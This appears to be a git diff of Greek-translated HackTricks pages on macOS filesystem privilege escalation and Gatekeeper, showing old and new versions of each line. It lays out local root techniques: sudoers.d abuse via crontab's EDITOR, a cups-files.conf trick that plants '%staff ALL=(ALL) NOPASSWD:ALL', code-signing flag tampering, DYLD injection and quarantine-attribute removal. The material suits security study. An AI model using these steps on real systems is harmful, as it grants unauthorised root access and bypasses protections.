Αν μπορείτε να κάνετε μια **διαδικασία να ανοίξει ένα αρχείο ή έναν φάκελο με υψηλά προνόμια**, μπορείτε να εκμεταλλευτείτε το **`crontab`** για να ανοίξετε ένα αρχείο στο `/etc/sudoers.d` με **`EDITOR=exploit.py`**, έτσι ώστε το `exploit.py` να αποκτήσει τον FD στο αρχείο μέσα στο `/etc/sudoers` και να το εκμεταλλευτεί.
Για παράδειγμα: [https://youtu.be/f1HA5QhLQ7Y?t=21098](https://youtu.be/f1HA5QhLQ7Y?t=21098), κώδικας: https://github.com/gergelykalman/CVE-2023-32428-a-macOS-LPE-via-MallocStackLogging
## Avoid quarantine xattrs tricks
@ -142,9 +152,30 @@ Not really needed but I leave it there just in case:
macos-xattr-acls-extra-stuff.md
{{#endref}}
## Παράκαμψη ελέγχων υπογραφής
### Παράκαμψη ελέγχων δυαδικών αρχείων πλατφόρμας
Ορισμένοι έλεγχοι ασφαλείας ελέγχουν αν το δυαδικό αρχείο είναι **δυαδικό αρχείο πλατφόρμας**, για παράδειγμα για να επιτρέψουν τη σύνδεση σε μια υπηρεσία XPC. Ωστόσο, όπως εκτίθεται σε μια παράκαμψη στο https://jhftss.github.io/A-New-Era-of-macOS-Sandbox-Escapes/, είναι δυνατόν να παρακαμφθεί αυτός ο έλεγχος αποκτώντας ένα δυαδικό αρχείο πλατφόρμας (όπως το /bin/ls) και να εισαχθεί η εκμετάλλευση μέσω dyld χρησιμοποιώντας μια μεταβλητή περιβάλλοντος `DYLD_INSERT_LIBRARIES`.
### Παράκαμψη σημαιών `CS_REQUIRE_LV` και `CS_FORCED_LV`
Είναι δυνατόν για ένα εκτελούμενο δυαδικό αρχείο να τροποποιήσει τις δικές του σημαίες για να παρακάμψει τους ελέγχους με έναν κώδικα όπως:
```c
// Code from https://jhftss.github.io/A-New-Era-of-macOS-Sandbox-Escapes/
int pid = getpid();
NSString *exePath = NSProcessInfo.processInfo.arguments[0];
uint32_t status = SecTaskGetCodeSignStatus(SecTaskCreateFromSelf(0));
status |= 0x2000; // CS_REQUIRE_LV
csops(pid, 9, &status, 4); // CS_OPS_SET_STATUS
status = SecTaskGetCodeSignStatus(SecTaskCreateFromSelf(0));
NSLog(@"=====Inject successfully into %d(%@), csflags=0x%x", pid, exePath, status);
```
## Παράκαμψη Υπογραφών Κώδικα
Τα Bundles περιέχουν το αρχείο **`_CodeSignature/CodeResources`** το οποίο περιέχει το **hash** κάθε **αρχείου** στο **bundle**. Σημειώστε ότι το hash του CodeResources είναι επίσης **ενσωματωμένο στο εκτελέσιμο**, οπότε δεν μπορούμε να ασχοληθούμε με αυτό.
Τα πακέτα περιέχουν το αρχείο **`_CodeSignature/CodeResources`** το οποίο περιέχει το **hash** κάθε μεμονωμένου **αρχείου** στο **πακέτο**. Σημειώστε ότι το hash του CodeResources είναι επίσης **ενσωματωμένο στο εκτελέσιμο**, οπότε δεν μπορούμε να παρέμβουμε σε αυτό.
Ωστόσο, υπάρχουν κάποια αρχεία των οποίων η υπογραφή δεν θα ελεγχθεί, αυτά έχουν το κλειδί omit στο plist, όπως:
```xml
@ -217,8 +248,8 @@ hdiutil detach /private/tmp/mnt 1>/dev/null
# You can also create a dmg from an app using:
hdiutil create -srcfolder justsome.app justsome.dmg
```
Συνήθως, το macOS τοποθετεί δίσκους επικοινωνώντας με την υπηρεσία Mach `com.apple.DiskArbitration.diskarbitrationd` (παρέχεται από το `/usr/libexec/diskarbitrationd`). Αν προσθέσετε την παράμετρο `-d` στο plist αρχείο των LaunchDaemons και επανεκκινήσετε, θα αποθηκεύσει τα logs στο `/var/log/diskarbitrationd.log`.\
Ωστόσο, είναι δυνατόν να χρησιμοποιήσετε εργαλεία όπως το `hdik` και το `hdiutil` για να επικοινωνήσετε απευθείας με το `com.apple.driver.DiskImages` kext.
Συνήθως, το macOS τοποθετεί δίσκους επικοινωνώντας με την υπηρεσία Mach `com.apple.DiskArbitration.diskarbitrationd` (παρέχεται από το `/usr/libexec/diskarbitrationd`). Αν προσθέσετε την παράμετρο `-d` στο plist αρχείο των LaunchDaemons και κάνετε επανεκκίνηση, θα αποθηκεύει τα logs στο `/var/log/diskarbitrationd.log`.\
Ωστόσο, είναι δυνατόν να χρησιμοποιήσετε εργαλεία όπως το `hdik` και το `hdiutil` για να επικοινωνήσετε απευθείας με το kext `com.apple.driver.DiskImages`.
## Αυθαίρετες Εγγραφές
@ -251,15 +282,35 @@ hdiutil create -srcfolder justsome.app justsome.dmg
### Αρχείο Sudoers
Εάν έχετε **τυχαία εγγραφή**, μπορείτε να δημιουργήσετε ένα αρχείο μέσα στον φάκελο **`/etc/sudoers.d/`** παραχωρώντας στον εαυτό σας **δικαιώματα sudo**.
Εάν έχετε **τυχαία εγγραφή**, μπορείτε να δημιουργήσετε ένα αρχείο μέσα στον φάκελο **`/etc/sudoers.d/`** παραχωρώντας στον εαυτό σας **sudo** δικαιώματα.
### Αρχεία PATH
Το αρχείο **`/etc/paths`** είναι ένα από τα κύρια μέρη που γεμίζουν τη μεταβλητή περιβάλλοντος PATH. Πρέπει να είστε root για να το αντικαταστήσετε, αλλά αν ένα σενάριο από **προνομιακή διαδικασία** εκτελεί κάποια **εντολή χωρίς την πλήρη διαδρομή**, μπορεί να μπορείτε να το **παρακάμψετε** τροποποιώντας αυτό το αρχείο.
Το αρχείο **`/etc/paths`** είναι ένα από τα κύρια μέρη που γεμίζουν τη μεταβλητή περιβάλλοντος PATH. Πρέπει να είστε root για να το αντικαταστήσετε, αλλά αν ένα σενάριο από **privileged process** εκτελεί κάποια **εντολή χωρίς την πλήρη διαδρομή**, μπορεί να είστε σε θέση να **παρακάμψετε** αυτό τροποποιώντας αυτό το αρχείο.
Μπορείτε επίσης να γράψετε αρχεία στο **`/etc/paths.d`** για να φορτώσετε νέους φακέλους στη μεταβλητή περιβάλλοντος `PATH`.
## Δημιουργία εγγράψιμων αρχείων ως άλλοι χρήστες
### cups-files.conf
Αυτή η τεχνική χρησιμοποιήθηκε σε [αυτή την αναφορά](https://www.kandji.io/blog/macos-audit-story-part1).
Δημιουργήστε το αρχείο `/etc/cups/cups-files.conf` με το παρακάτω περιεχόμενο:
```
ErrorLog /etc/sudoers.d/lpe
LogFilePerm 777
<some junk>
```
Αυτό θα δημιουργήσει το αρχείο `/etc/sudoers.d/lpe` με δικαιώματα 777. Το επιπλέον περιεχόμενο στο τέλος είναι για να ενεργοποιήσει τη δημιουργία αρχείου καταγραφής σφαλμάτων.
Στη συνέχεια, γράψτε στο `/etc/sudoers.d/lpe` την απαραίτητη ρύθμιση για την κλιμάκωση δικαιωμάτων όπως `%staff ALL=(ALL) NOPASSWD:ALL`.
Στη συνέχεια, τροποποιήστε το αρχείο `/etc/cups/cups-files.conf` ξανά υποδεικνύοντας `LogFilePerm 700` ώστε το νέο αρχείο sudoers να γίνει έγκυρο καλώντας το `cupsctl`.
### Sandbox Escape
Είναι δυνατόν να ξεφύγετε από το sandbox του macOS με μια FS αυθαίρετη εγγραφή. Για μερικά παραδείγματα, ελέγξτε τη σελίδα [macOS Auto Start](../../../../macos-auto-start-locations.md) αλλά ένα κοινό είναι να γράψετε ένα αρχείο προτιμήσεων Terminal στο `~/Library/Preferences/com.apple.Terminal.plist` που εκτελεί μια εντολή κατά την εκκίνηση και να το καλέσετε χρησιμοποιώντας το `open`.
## Δημιουργία εγγράφων που είναι εγγράψιμα από άλλους χρήστες
Αυτό θα δημιουργήσει ένα αρχείο που ανήκει στον root και είναι εγγράψιμο από εμένα ([**κώδικας από εδώ**](https://github.com/gergelykalman/brew-lpe-via-periodic/blob/main/brew_lpe.sh)). Αυτό μπορεί επίσης να λειτουργήσει ως privesc:
```bash
@ -275,7 +326,7 @@ echo $FILENAME
```
## POSIX Κοινή Μνήμη
**POSIX κοινή μνήμη** επιτρέπει σε διαδικασίες σε λειτουργικά συστήματα συμβατά με POSIX να έχουν πρόσβαση σε μια κοινή περιοχή μνήμης, διευκολύνοντας ταχύτερη επικοινωνία σε σύγκριση με άλλες μεθόδους επικοινωνίας μεταξύ διαδικασιών. Περιλαμβάνει τη δημιουργία ή το άνοιγμα ενός αντικειμένου κοινής μνήμης με `shm_open()`, την ρύθμιση του μεγέθους του με `ftruncate()`, και την αντιστοίχιση του στη διεύθυνση μνήμης της διαδικασίας χρησιμοποιώντας `mmap()`. Οι διαδικασίες μπορούν στη συνέχεια να διαβάζουν και να γράφουν απευθείας σε αυτήν την περιοχή μνήμης. Για να διαχειριστούν την ταυτόχρονη πρόσβαση και να αποτρέψουν τη διαφθορά των δεδομένων, χρησιμοποιούνται συχνά μηχανισμοί συγχρονισμού όπως οι mutexes ή οι semaphores. Τέλος, οι διαδικασίες απο-αντιστοιχούν και κλείνουν την κοινή μνήμη με `munmap()` και `close()`, και προαιρετικά αφαιρούν το αντικείμενο μνήμης με `shm_unlink()`. Αυτό το σύστημα είναι ιδιαίτερα αποτελεσματικό για αποδοτική, γρήγορη IPC σε περιβάλλοντα όπου πολλές διαδικασίες χρειάζεται να έχουν γρήγορη πρόσβαση σε κοινά δεδομένα.
**Η POSIX κοινή μνήμη** επιτρέπει στις διεργασίες σε λειτουργικά συστήματα συμβατά με POSIX να έχουν πρόσβαση σε μια κοινή περιοχή μνήμης, διευκολύνοντας ταχύτερη επικοινωνία σε σύγκριση με άλλες μεθόδους επικοινωνίας μεταξύ διεργασιών. Περιλαμβάνει τη δημιουργία ή το άνοιγμα ενός αντικειμένου κοινής μνήμης με `shm_open()`, την ρύθμιση του μεγέθους του με `ftruncate()`, και την αντιστοίχιση του στη διεύθυνση μνήμης της διεργασίας χρησιμοποιώντας `mmap()`. Οι διεργασίες μπορούν στη συνέχεια να διαβάζουν και να γράφουν απευθείας σε αυτήν την περιοχή μνήμης. Για τη διαχείριση ταυτόχρονων προσβάσεων και την αποφυγή διαφθοράς δεδομένων, χρησιμοποιούνται συχνά μηχανισμοί συγχρονισμού όπως οι mutexes ή οι semaphores. Τέλος, οι διεργασίες αποδεσμεύουν και κλείνουν την κοινή μνήμη με `munmap()` και `close()`, και προαιρετικά αφαιρούν το αντικείμενο μνήμης με `shm_unlink()`. Αυτό το σύστημα είναι ιδιαίτερα αποτελεσματικό για αποδοτική, γρήγορη IPC σε περιβάλλοντα όπου πολλές διεργασίες χρειάζεται να έχουν γρήγορη πρόσβαση σε κοινά δεδομένα.
<details>
@ -373,7 +424,7 @@ return 0;
**macOSCguarded descriptors** είναι μια λειτουργία ασφαλείας που εισήχθη στο macOS για να ενισχύσει την ασφάλεια και την αξιοπιστία των **λειτουργιών περιγραφής αρχείων** σε εφαρμογές χρήστη. Αυτοί οι προστατευμένοι περιγραφείς παρέχουν έναν τρόπο για να συσχετίσουν συγκεκριμένους περιορισμούς ή "φύλακες" με περιγραφείς αρχείων, οι οποίοι επιβάλλονται από τον πυρήνα.
Αυτή η λειτουργία είναι ιδιαίτερα χρήσιμη για την πρόληψη ορισμένων κατηγοριών ευπαθειών ασφαλείας όπως η **μη εξουσιοδοτημένη πρόσβαση σε αρχεία** ή οι **συνθήκες αγώνα**. Αυτές οι ευπάθειες συμβαίνουν όταν, για παράδειγμα, ένα νήμα έχει πρόσβαση σε μια περιγραφή αρχείου δίνοντας **σε ένα άλλο ευάλωτο νήμα πρόσβαση σε αυτήν** ή όταν ένας περιγραφέας αρχείου **κληρονομείται** από μια ευάλωτη διεργασία παιδί. Ορισμένες συναρτήσεις που σχετίζονται με αυτή τη λειτουργικότητα είναι:
Αυτή η λειτουργία είναι ιδιαίτερα χρήσιμη για την πρόληψη ορισμένων κατηγοριών ευπαθειών ασφαλείας όπως η **μη εξουσιοδοτημένη πρόσβαση σε αρχεία** ή οι **συνθήκες αγώνα**. Αυτές οι ευπάθειες συμβαίνουν όταν, για παράδειγμα, ένα νήμα έχει πρόσβαση σε μια περιγραφή αρχείου δίνοντας **σε ένα άλλο ευάλωτο νήμα πρόσβαση σε αυτήν** ή όταν ένας περιγραφέας αρχείου είναι **κληρονομούμενος** από μια ευάλωτη διεργασία παιδί. Ορισμένες συναρτήσεις που σχετίζονται με αυτή τη λειτουργικότητα είναι:
- `guarded_open_np`: Άνοιγμα ενός FD με φύλακα
- `guarded_close_np`: Κλείσιμο του

View File

@ -2,13 +2,9 @@
{{#include ../../../banners/hacktricks-training.md}}
<figure><img src="https://pentest.eu/RENDER_WebSec_10fps_21sec_9MB_29042024.gif" alt=""><figcaption></figcaption></figure>
{% embed url="https://websec.nl/" %}
## Gatekeeper
**Gatekeeper** είναι μια λειτουργία ασφαλείας που έχει αναπτυχθεί για τα λειτουργικά συστήματα Mac, σχεδιασμένη να διασφαλίσει ότι οι χρήστες **εκτελούν μόνο αξιόπιστο λογισμικό** στα συστήματά τους. Λειτουργεί με το να **επικυρώνει το λογισμικό** που κατεβάζει ο χρήστης και προσπαθεί να ανοίξει από **πηγές εκτός του App Store**, όπως μια εφαρμογή, ένα πρόσθετο ή ένα πακέτο εγκατάστασης.
**Gatekeeper** είναι μια λειτουργία ασφαλείας που έχει αναπτυχθεί για τα λειτουργικά συστήματα Mac, σχεδιασμένη για να διασφαλίσει ότι οι χρήστες **εκτελούν μόνο αξιόπιστο λογισμικό** στα συστήματά τους. Λειτουργεί με το να **επικυρώνει το λογισμικό** που κατεβάζει ο χρήστης και προσπαθεί να ανοίξει από **πηγές εκτός του App Store**, όπως μια εφαρμογή, ένα πρόσθετο ή ένα πακέτο εγκατάστασης.
Ο βασικός μηχανισμός του Gatekeeper έγκειται στη διαδικασία **επικύρωσης** του. Ελέγχει αν το κατεβασμένο λογισμικό είναι **υπογεγραμμένο από έναν αναγνωρισμένο προγραμματιστή**, διασφαλίζοντας την αυθεντικότητα του λογισμικού. Επιπλέον, διαπιστώνει αν το λογισμικό είναι **notarised από την Apple**, επιβεβαιώνοντας ότι είναι απαλλαγμένο από γνωστό κακόβουλο περιεχόμενο και δεν έχει παραποιηθεί μετά την notarisation.
@ -22,11 +18,11 @@
1. **Υπογραφή της Εφαρμογής:** Όταν ένας προγραμματιστής είναι έτοιμος να διανείμει την εφαρμογή του, **υπογράφει την εφαρμογή χρησιμοποιώντας ένα ιδιωτικό κλειδί**. Αυτό το ιδιωτικό κλειδί σχετίζεται με ένα **πιστοποιητικό που εκδίδει η Apple στον προγραμματιστή** όταν εγγραφεί στο Πρόγραμμα Προγραμματιστών της Apple. Η διαδικασία υπογραφής περιλαμβάνει τη δημιουργία ενός κρυπτογραφικού hash όλων των μερών της εφαρμογής και την κρυπτογράφηση αυτού του hash με το ιδιωτικό κλειδί του προγραμματιστή.
2. **Διανομή της Εφαρμογής:** Η υπογεγραμμένη εφαρμογή διανέμεται στους χρήστες μαζί με το πιστοποιητικό του προγραμματιστή, το οποίο περιέχει το αντίστοιχο δημόσιο κλειδί.
3. **Επικύρωση της Εφαρμογής:** Όταν ένας χρήστης κατεβάσει και προσπαθήσει να εκτελέσει την εφαρμογή, το λειτουργικό σύστημα Mac χρησιμοποιεί το δημόσιο κλειδί από το πιστοποιητικό του προγραμματιστή για να αποκρυπτογραφήσει το hash. Στη συνέχεια, υπολογίζει ξανά το hash με βάση την τρέχουσα κατάσταση της εφαρμογής και το συγκρίνει με το αποκρυπτογραφημένο hash. Αν ταιριάζουν, σημαίνει ότι **η εφαρμογή δεν έχει τροποποιηθεί** από την υπογραφή του προγραμματιστή και το σύστημα επιτρέπει την εκτέλεση της εφαρμογής.
3. **Επικύρωση της Εφαρμογής:** Όταν ένας χρήστης κατεβάσει και προσπαθήσει να εκτελέσει την εφαρμογή, το λειτουργικό σύστημα Mac του χρησιμοποιεί το δημόσιο κλειδί από το πιστοποιητικό του προγραμματιστή για να αποκρυπτογραφήσει το hash. Στη συνέχεια, υπολογίζει ξανά το hash με βάση την τρέχουσα κατάσταση της εφαρμογής και το συγκρίνει με το αποκρυπτογραφημένο hash. Αν ταιριάζουν, σημαίνει ότι **η εφαρμογή δεν έχει τροποποιηθεί** από την υπογραφή του προγραμματιστή και το σύστημα επιτρέπει την εκτέλεση της εφαρμογής.
Οι υπογραφές εφαρμογών είναι ένα απαραίτητο μέρος της τεχνολογίας Gatekeeper της Apple. Όταν ένας χρήστης προσπαθεί να **ανοίξει μια εφαρμογή που έχει κατεβάσει από το διαδίκτυο**, το Gatekeeper επαληθεύει την υπογραφή της εφαρμογής. Αν είναι υπογεγραμμένη με πιστοποιητικό που έχει εκδώσει η Apple σε γνωστό προγραμματιστή και ο κώδικας δεν έχει παραποιηθεί, το Gatekeeper επιτρέπει την εκτέλεση της εφαρμογής. Διαφορετικά, αποκλείει την εφαρμογή και ειδοποιεί τον χρήστη.
Από την macOS Catalina και μετά, **το Gatekeeper ελέγχει επίσης αν η εφαρμογή έχει notarised** από την Apple, προσθέτοντας ένα επιπλέον επίπεδο ασφάλειας. Η διαδικασία notarization ελέγχει την εφαρμογή για γνωστά ζητήματα ασφαλείας και κακόβουλο κώδικα, και αν αυτές οι έλεγχοι περάσουν, η Apple προσθέτει ένα εισιτήριο στην εφαρμογή που μπορεί να επαληθεύσει το Gatekeeper.
Από το macOS Catalina και μετά, **το Gatekeeper ελέγχει επίσης αν η εφαρμογή έχει notarised** από την Apple, προσθέτοντας ένα επιπλέον επίπεδο ασφάλειας. Η διαδικασία notarization ελέγχει την εφαρμογή για γνωστά ζητήματα ασφαλείας και κακόβουλο κώδικα, και αν αυτές οι έλεγχοι περάσουν, η Apple προσθέτει ένα εισιτήριο στην εφαρμογή που μπορεί να επαληθεύσει το Gatekeeper.
#### Έλεγχος Υπογραφών
@ -49,11 +45,11 @@ codesign -s <cert-name-keychain> toolsdemo
```
### Notarization
Η διαδικασία notarization της Apple λειτουργεί ως επιπλέον προστασία για να προστατεύσει τους χρήστες από δυνητικά επιβλαβές λογισμικό. Περιλαμβάνει την **υποβολή της εφαρμογής από τον προγραμματιστή για εξέταση** από την **Υπηρεσία Notary της Apple**, η οποία δεν πρέπει να συγχέεται με την Εξέταση Εφαρμογών. Αυτή η υπηρεσία είναι ένα **αυτοματοποιημένο σύστημα** που εξετάζει το υποβληθέν λογισμικό για την παρουσία **κακόβουλου περιεχομένου** και τυχόν δυνητικά προβλήματα με την υπογραφή κώδικα.
Η διαδικασία notarization της Apple λειτουργεί ως επιπλέον προστασία για να προστατεύσει τους χρήστες από δυνητικά επιβλαβές λογισμικό. Περιλαμβάνει τον **προγραμματιστή να υποβάλει την εφαρμογή του για εξέταση** από την **Υπηρεσία Notary της Apple**, η οποία δεν πρέπει να συγχέεται με την Εξέταση Εφαρμογών. Αυτή η υπηρεσία είναι ένα **αυτοματοποιημένο σύστημα** που εξετάζει το υποβληθέν λογισμικό για την παρουσία **κακόβουλου περιεχομένου** και τυχόν πιθανών προβλημάτων με την υπογραφή κώδικα.
Εάν το λογισμικό **περάσει** αυτή την επιθεώρηση χωρίς να εγείρει ανησυχίες, η Υπηρεσία Notary δημιουργεί ένα εισιτήριο notarization. Ο προγραμματιστής είναι υποχρεωμένος να **συνδέσει αυτό το εισιτήριο με το λογισμικό του**, μια διαδικασία που ονομάζεται 'stapling.' Επιπλέον, το εισιτήριο notarization δημοσιεύεται επίσης online όπου ο Gatekeeper, η τεχνολογία ασφάλειας της Apple, μπορεί να έχει πρόσβαση σε αυτό.
Εάν το λογισμικό **περάσει** αυτή την επιθεώρηση χωρίς να εγείρει ανησυχίες, η Υπηρεσία Notary δημιουργεί ένα εισιτήριο notarization. Ο προγραμματιστής είναι υποχρεωμένος να **συνδέσει αυτό το εισιτήριο με το λογισμικό του**, μια διαδικασία που ονομάζεται 'stapling.' Επιπλέον, το εισιτήριο notarization δημοσιεύεται επίσης online όπου ο Gatekeeper, η τεχνολογία ασφαλείας της Apple, μπορεί να έχει πρόσβαση σε αυτό.
Κατά την πρώτη εγκατάσταση ή εκτέλεση του λογισμικού από τον χρήστη, η ύπαρξη του εισιτηρίου notarization - είτε είναι συνδεδεμένο με το εκτελέσιμο είτε βρίσκεται online - **ενημερώνει τον Gatekeeper ότι το λογισμικό έχει πιστοποιηθεί από την Apple**. Ως αποτέλεσμα, ο Gatekeeper εμφανίζει ένα περιγραφικό μήνυμα στο αρχικό παράθυρο εκκίνησης, υποδεικνύοντας ότι το λογισμικό έχει υποβληθεί σε ελέγχους για κακόβουλο περιεχόμενο από την Apple. Αυτή η διαδικασία ενισχύει την εμπιστοσύνη των χρηστών στην ασφάλεια του λογισμικού που εγκαθιστούν ή εκτελούν στα συστήματά τους.
Κατά την πρώτη εγκατάσταση ή εκτέλεση του λογισμικού από τον χρήστη, η ύπαρξη του εισιτηρίου notarization - είτε είναι συνδεδεμένο με το εκτελέσιμο είτε βρίσκεται online - **ενημερώνει τον Gatekeeper ότι το λογισμικό έχει υποβληθεί σε notarization από την Apple**. Ως αποτέλεσμα, ο Gatekeeper εμφανίζει ένα περιγραφικό μήνυμα στο αρχικό παράθυρο εκκίνησης, υποδεικνύοντας ότι το λογισμικό έχει υποβληθεί σε ελέγχους για κακόβουλο περιεχόμενο από την Apple. Αυτή η διαδικασία ενισχύει την εμπιστοσύνη των χρηστών στην ασφάλεια του λογισμικού που εγκαθιστούν ή εκτελούν στα συστήματά τους.
### spctl & syspolicyd
@ -108,7 +104,7 @@ cdhash H"8d0d90ff23c3071211646c4c9c607cdb601cb18f"|1|0|GKE
- `/var/db/gke.bundle/Contents/Resources/gk.db`
- `/var/db/gkopaque.bundle/Contents/Resources/gkopaque.db`
Ή μπορείτε να παραθέσετε τις προηγούμενες πληροφορίες με:
Ή θα μπορούσατε να παραθέσετε τις προηγούμενες πληροφορίες με:
```bash
sudo spctl --list
```
@ -122,7 +118,7 @@ spctl --master-disable
spctl --global-enable
spctl --master-enable
```
Όταν είναι πλήρως ενεργοποιημένο, θα εμφανιστεί μια νέα επιλογή:
Όταν είναι πλήρως ενεργοποιημένο, μια νέα επιλογή θα εμφανιστεί:
<figure><img src="../../../images/image (1151).png" alt=""><figcaption></figcaption></figure>
@ -145,26 +141,26 @@ sudo spctl --enable --label "whitelist"
spctl --assess -v /Applications/App.app
/Applications/App.app: accepted
```
Σχετικά με **kernel extensions**, ο φάκελος `/var/db/SystemPolicyConfiguration` περιέχει αρχεία με λίστες kexts που επιτρέπεται να φορτωθούν. Επιπλέον, το `spctl` έχει την εξουσία `com.apple.private.iokit.nvram-csr` επειδή είναι ικανό να προσθέτει νέες προεγκεκριμένες kernel extensions που πρέπει να αποθηκευτούν επίσης στο NVRAM σε ένα κλειδί `kext-allowed-teams`.
Σχετικά με **τις επεκτάσεις πυρήνα**, ο φάκελος `/var/db/SystemPolicyConfiguration` περιέχει αρχεία με λίστες kexts που επιτρέπεται να φορτωθούν. Επιπλέον, το `spctl` έχει την εξουσία `com.apple.private.iokit.nvram-csr` επειδή είναι ικανό να προσθέτει νέες προεγκεκριμένες επεκτάσεις πυρήνα που πρέπει επίσης να αποθηκευτούν στη NVRAM σε ένα κλειδί `kext-allowed-teams`.
### Quarantine Files
### Αρχεία Καραντίνας
Κατά την **λήψη** μιας εφαρμογής ή αρχείου, συγκεκριμένες **εφαρμογές** macOS όπως οι περιηγητές ιστού ή οι πελάτες email **συνδέουν ένα εκτεταμένο χαρακτηριστικό αρχείου**, γνωστό ως το "**quarantine flag**," στο ληφθέν αρχείο. Αυτό το χαρακτηριστικό λειτουργεί ως μέτρο ασφαλείας για να **σημάνει το αρχείο** ότι προέρχεται από μια μη αξιόπιστη πηγή (το διαδίκτυο) και ενδέχεται να φέρει κινδύνους. Ωστόσο, δεν συνδέουν όλες οι εφαρμογές αυτό το χαρακτηριστικό, για παράδειγμα, το κοινό λογισμικό πελάτη BitTorrent συνήθως παρακάμπτει αυτή τη διαδικασία.
Κατά την **λήψη** μιας εφαρμογής ή αρχείου, συγκεκριμένες **εφαρμογές** macOS όπως οι περιηγητές ιστού ή οι πελάτες email **συνδέουν ένα εκτεταμένο χαρακτηριστικό αρχείου**, γνωστό ως "**σημαία καραντίνας**," στο ληφθέν αρχείο. Αυτό το χαρακτηριστικό λειτουργεί ως μέτρο ασφαλείας για να **σημάνει το αρχείο** ως προερχόμενο από μια μη αξιόπιστη πηγή (το διαδίκτυο), και ενδεχομένως να φέρει κινδύνους. Ωστόσο, δεν συνδέουν όλες οι εφαρμογές αυτό το χαρακτηριστικό, για παράδειγμα, το κοινό λογισμικό πελάτη BitTorrent συνήθως παρακάμπτει αυτή τη διαδικασία.
**Η παρουσία ενός quarantine flag σηματοδοτεί τη λειτουργία ασφαλείας Gatekeeper του macOS όταν ένας χρήστης προσπαθεί να εκτελέσει το αρχείο**.
**Η παρουσία μιας σημαίας καραντίνας στέλνει σήμα στη λειτουργία ασφαλείας Gatekeeper του macOS όταν ένας χρήστης προσπαθεί να εκτελέσει το αρχείο**.
Στην περίπτωση που το **quarantine flag δεν είναι παρόν** (όπως με αρχεία που έχουν ληφθεί μέσω ορισμένων πελατών BitTorrent), οι **έλεγχοι του Gatekeeper ενδέχεται να μην εκτελούνται**. Έτσι, οι χρήστες θα πρέπει να είναι προσεκτικοί όταν ανοίγουν αρχεία που έχουν ληφθεί από λιγότερο ασφαλείς ή άγνωστες πηγές.
Στην περίπτωση που η **σημαία καραντίνας δεν είναι παρούσα** (όπως με τα αρχεία που έχουν ληφθεί μέσω ορισμένων πελατών BitTorrent), οι **έλεγχοι του Gatekeeper ενδέχεται να μην εκτελούνται**. Έτσι, οι χρήστες θα πρέπει να είναι προσεκτικοί όταν ανοίγουν αρχεία που έχουν ληφθεί από λιγότερο ασφαλείς ή άγνωστες πηγές.
> [!NOTE] > **Έλεγχος** της **έγκυρης** υπογραφής κώδικα είναι μια **χρονικά απαιτητική** διαδικασία που περιλαμβάνει τη δημιουργία κρυπτογραφικών **hashes** του κώδικα και όλων των πόρων που περιλαμβάνονται. Επιπλέον, ο έλεγχος εγκυρότητας πιστοποιητικού περιλαμβάνει τη **διαδικτυακή αναζήτηση** στους διακομιστές της Apple για να δει αν έχει ανακληθεί μετά την έκδοσή του. Για αυτούς τους λόγους, ένας πλήρης έλεγχος υπογραφής κώδικα και πιστοποίησης είναι **μη πρακτικός να εκτελείται κάθε φορά που εκκινείται μια εφαρμογή**.
>
> Επομένως, αυτοί οι έλεγχοι εκτελούνται **μόνο κατά την εκτέλεση εφαρμογών με το χαρακτηριστικό quarantined.**
> Επομένως, αυτοί οι έλεγχοι **εκτελούνται μόνο κατά την εκτέλεση εφαρμογών με το χαρακτηριστικό καραντίνας.**
> [!WARNING]
> Αυτό το χαρακτηριστικό πρέπει να **οριστεί από την εφαρμογή που δημιουργεί/κατεβάζει** το αρχείο.
>
> Ωστόσο, τα αρχεία που είναι sandboxed θα έχουν αυτό το χαρακτηριστικό ορισμένο σε κάθε αρχείο που δημιουργούν. Και οι μη sandboxed εφαρμογές μπορούν να το ορίσουν μόνες τους ή να καθορίσουν το [**LSFileQuarantineEnabled**](https://developer.apple.com/documentation/bundleresources/information_property_list/lsfilequarantineenabled?language=objc) κλειδί στο **Info.plist** που θα κάνει το σύστημα να ορίσει το εκτεταμένο χαρακτηριστικό `com.apple.quarantine` στα αρχεία που δημιουργούνται,
> Ωστόσο, τα αρχεία που είναι σε sandbox θα έχουν αυτό το χαρακτηριστικό ορισμένο σε κάθε αρχείο που δημιουργούν. Και οι μη sandboxed εφαρμογές μπορούν να το ορίσουν μόνες τους, ή να καθορίσουν το [**LSFileQuarantineEnabled**](https://developer.apple.com/documentation/bundleresources/information_property_list/lsfilequarantineenabled?language=objc) κλειδί στο **Info.plist** που θα κάνει το σύστημα να ορίσει το εκτεταμένο χαρακτηριστικό `com.apple.quarantine` στα αρχεία που δημιουργούνται,
Επιπλέον, όλα τα αρχεία που δημιουργούνται από μια διαδικασία που καλεί **`qtn_proc_apply_to_self`** είναι καραντίνα. Ή το API **`qtn_file_apply_to_path`** προσθέτει το χαρακτηριστικό καραντίνας σε μια καθορισμένη διαδρομή αρχείου.
Επιπλέον, όλα τα αρχεία που δημιουργούνται από μια διαδικασία που καλεί **`qtn_proc_apply_to_self`** είναι σε καραντίνα. Ή η API **`qtn_file_apply_to_path`** προσθέτει το χαρακτηριστικό καραντίνας σε μια καθορισμένη διαδρομή αρχείου.
Είναι δυνατόν να **ελέγξετε την κατάσταση του και να ενεργοποιήσετε/απενεργοποιήσετε** (απαιτείται root) με:
```bash
@ -197,7 +193,7 @@ com.apple.quarantine: 00C1;607842eb;Brave;F643CD5F-6071-46AB-83AB-390BA944DEC5
# Brave -- App
# F643CD5F-6071-46AB-83AB-390BA944DEC5 -- UID assigned to the file downloaded
```
Στην πραγματικότητα, μια διαδικασία "μπορεί να ορίσει σημαίες καραντίνας στα αρχεία που δημιουργεί" (έχω ήδη προσπαθήσει να εφαρμόσω τη σημαία USER_APPROVED σε ένα δημιουργημένο αρχείο, αλλά δεν θα την εφαρμόσει):
Στην πραγματικότητα, μια διαδικασία "θα μπορούσε να ορίσει σημαίες καραντίνας στα αρχεία που δημιουργεί" (έχω ήδη προσπαθήσει να εφαρμόσω τη σημαία USER_APPROVED σε ένα δημιουργημένο αρχείο, αλλά δεν θα την εφαρμόσει):
<details>
@ -273,13 +269,13 @@ find . -iname '*' -print0 | xargs -0 xattr -d com.apple.quarantine
```bash
find / -exec ls -ld {} \; 2>/dev/null | grep -E "[x\-]@ " | awk '{printf $9; printf "\n"}' | xargs -I {} xattr -lv {} | grep "com.apple.quarantine"
```
